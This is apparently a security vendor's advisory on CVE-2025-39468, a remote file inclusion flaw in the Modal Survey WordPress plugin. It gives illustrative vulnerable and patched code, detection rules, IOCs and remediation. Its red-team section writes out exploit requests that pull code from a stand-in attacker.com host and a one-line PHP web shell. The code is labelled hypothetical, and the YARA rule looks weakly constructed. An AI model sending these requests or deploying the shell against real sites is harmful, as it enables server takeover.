CVE-2025-39468

Executive Summary

CVE-2025-39468 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the WordPress plugin "Modal Survey" by Pantherius, up to and including version 2.0.2.0.1. This vulnerability allows an unauthenticated attacker to include arbitrary remote files via improper control of filenames in include/require statements. Successful exploitation can lead to remote code execution (RCE), full server compromise, and data exfiltration. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). As of this report, no official patch is available, and no public proof-of-concept (PoC) code has been released.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the improper handling of filenames passed to PHP's include() or require() functions within the Modal Survey plugin. Specifically, the plugin fails to sanitize user-supplied input used to construct file paths. An attacker can manipulate this input to include a remote file hosted on an attacker-controlled server.

The vulnerable code likely appears in a PHP file that processes survey data or configuration. For example:

<?php
$survey_file = $_GET['survey'];
include($survey_file . '.php');
?>

An attacker can exploit this by sending a request like:

http://target.com/wp-content/plugins/modal-survey/vulnerable.php?survey=http://attacker.com/malicious

This causes the server to include and execute the remote malicious.php file, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Modal Survey <= 2.0.2.0.1):

<?php
// vulnerable.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (Hypothetical):

<?php
// patched.php
$allowed_files = array('survey1', 'survey2', 'default');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
    die('Invalid file.');
}
?>

The patched version uses a whitelist approach to restrict included files to a predefined set, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a vulnerable WordPress instance with Modal Survey plugin version 2.0.2.0.1.
2. Attacker Server: Set up a web server to host a malicious PHP file (e.g., malicious.php).
3. Exploit: Send a crafted HTTP request to the vulnerable endpoint:

GET /wp-content/plugins/modal-survey/vulnerable.php?file=http://attacker.com/malicious HTTP/1.1
Host: target.com

4. Payload Example (malicious.php):

<?php
system($_GET['cmd']);
?>

5. Execute Commands: Access the included file with a command parameter:

GET /wp-content/plugins/modal-survey/vulnerable.php?file=http://attacker.com/malicious&cmd=id HTTP/1.1
Host: target.com

Blue Team

1. Detection: Monitor for outbound HTTP requests to unknown IPs or domains from the web server.
2. Log Analysis: Check web server logs for suspicious GET parameters containing http:// or https:// in file inclusion parameters.
3. Network Segmentation: Restrict outbound traffic from the web server to only necessary services.
4. WAF Rules: Deploy Web Application Firewall rules to block requests with file:// or http:// in include parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled IPs/domains from the web server.
  • Suspicious GET parameters containing http://, https://, or ftp:// in file inclusion endpoints.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified plugin files.
• Log IOCs:
  • Web server logs showing requests to /wp-content/plugins/modal-survey/ with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2025_39468_Modal_Survey_RFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-39468 in Modal Survey plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-39468"
    strings:
        $s1 = "include("
        $s2 = "require("
        $s3 = "$_GET"
        $s4 = "$_POST"
        $s5 = "$_REQUEST"
        $s6 = "modal-survey"
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6) and filesize < 100KB
}

Sigma Rule

title: CVE-2025-39468 Modal Survey RFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-39468
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'file=http://'
            - 'file=https://'
            - 'file=ftp://'
    condition: selection
falsepositives:
    - Legitimate use of remote file inclusion in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-39468 Modal Survey RFI Attempt"; flow:to_server; content:"GET"; http_method; content:"/wp-content/plugins/modal-survey/"; http_uri; content:"file="; http_uri; pcre:"/file=(http|https|ftp):\/\//Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the Modal Survey plugin until a patch is released.
2. Workaround: Implement a Web Application Firewall (WAF) rule to block requests containing file=http://, file=https://, or file=ftp:// in the query string.
3. Code Fix: If you have access to the source code, implement a whitelist of allowed files and validate user input against it.
4. Monitoring: Enable detailed logging for web server and monitor for suspicious activity.
5. Update: Watch for official patches from Pantherius and apply them immediately.

Valters IT
Securing Digital Frontiers